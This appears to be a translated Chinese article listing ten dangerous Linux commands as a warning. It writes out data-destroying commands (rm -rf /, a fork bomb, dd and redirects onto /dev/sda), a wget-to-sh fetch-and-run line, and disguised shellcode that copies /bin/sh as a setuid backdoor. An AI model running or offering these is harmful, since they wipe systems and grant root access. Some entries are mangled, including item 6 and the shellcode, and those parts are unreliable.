糯米文學吧

位置:首頁 > IT認證 > Linux認證

Linux系統的10個最危險命令

Linux命令行佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不確定你自己在正在做什麼時候。下面跟yjbys一起來看看最新的Linux命令!希望能幫助到大家!

Linux系統的10個最危險命令

(譯註:當然,以下命令通常都是在root權限下才能將愚蠢發揮到無可救藥;在普通用户身份下,破壞的只是自己的一畝三分地。)

  1. rm -rf命令

rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm命令的選項。

rm 命令在Linux下通常用來刪除文件。

rm -r命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是説錯了,從常識看,應該是“甚至是非空的文件夾”)

rm

-f命令能不經過詢問直接刪除‘只讀文件’。(譯註:Linux下刪除文件並不在乎該文件是否是隻讀的,而只是在意其父目錄是否有寫權限。所以,-f這個

參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參

數來要求刪除確認,而-f則抑制了這個提示。)

rm -rf / :強制刪除根目錄下所有東東。(就是説刪除完畢後,什麼也沒有了。。。)

rm -rf *: 強制刪除當前目錄的所有文件。

rm -rf . :強制刪除當前文件夾及其子文件夾。

現在起,當你要執行rm -rf命令時請留心一點。我們可以在“rc”文件對‘rm‘命令創建rm

-i的別名,來預防用‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用

-f參數前一定考慮好你在做什麼!譯者本人有着血淚的教訓啊。)

  2. :(){:|:&};:命令

這就是個fork炸彈的實例。具體操作是通過定義一個名為‘:‘的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反覆的執行下去直到系統崩潰。

:(){:|:&};:哦?你確認你要試試麼?千萬別在公司正式的服務器上實驗啊~~

  3.命令 > /dev/sda

上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。

  4. mv文件夾/dev/null

個命令會移動某個‘文件夾‘到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後

返回寫操作成功。(譯註:這就是黑洞啊。當然,要説明的是,通過將文件夾移動到黑洞,並不能阻止數據恢復軟件的救贖,所以,真正的徹底毀滅,需要採用專用

的軟件或者手法來完成——我知道你肯定有些東西想刪除得乾乾淨淨的。)

# mv /home/user/* /dev/null上列命令會將User目錄所有內容移動到/dev/null,這意味着所有東西都被‘捲入’黑洞 (null)之中。

5. wget http://malicious_source -O- | sh

上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。

注意:你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)

  6. 3 /dev/sda

上列命令會格式化塊設備‘sda’,你無疑知道在執行上列命令後你的塊設備(硬盤驅動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的

階段。(譯註:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設備使用,一般都需要將sda分成類似sda1、sda2這樣的分區後才使

用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀滅性的,上面的數據都會被蒸發了。)

  7. > file

上列命令常用來清空文件內容(譯註:通常也用於記錄命令輸出。不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數

據恢復軟件都未必能幫助你了。另外,我想你可能真正想用的是“>>”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入

錯誤或無知的'輸入類似“> ” 的命令會覆蓋配置文件或其他任何的系統配置文件。

  8. ^foo^bar

這個命令在我們十個鮮為人知的Linux命令- Part

3中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯

注:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的“黑客”技巧。)

  9. dd if=/dev/random of=/dev/sda

上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面説過mv到黑洞並不能徹底刪除數據麼?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)

  10.隱藏命令

下面的命令其實就是上面第一個命令(rm -rf)。這裏的代碼是隱藏在十六進制裏的,一個無知的用户可能就會被愚弄。在終端裏運行下面命令可能會擦除你的根分區。

這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。

char esp[] __attribute__ ((section(“”))) /* e.s.p

release */

=“xebx3ex5bx31xc0x50x54x5ax83xecx64x68″

“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″

“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″

“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″

“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″

“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″

“x6ex2fx73x68x00x2dx63x00″

“cp -p /bin/sh /tmp/nd; chmod 4755

/tmp/nd;”;

注意:不要正常電腦裏的Linux終端或Shell執行以上的任何一個命令。如果你想測試它們,請在虛擬機上運行。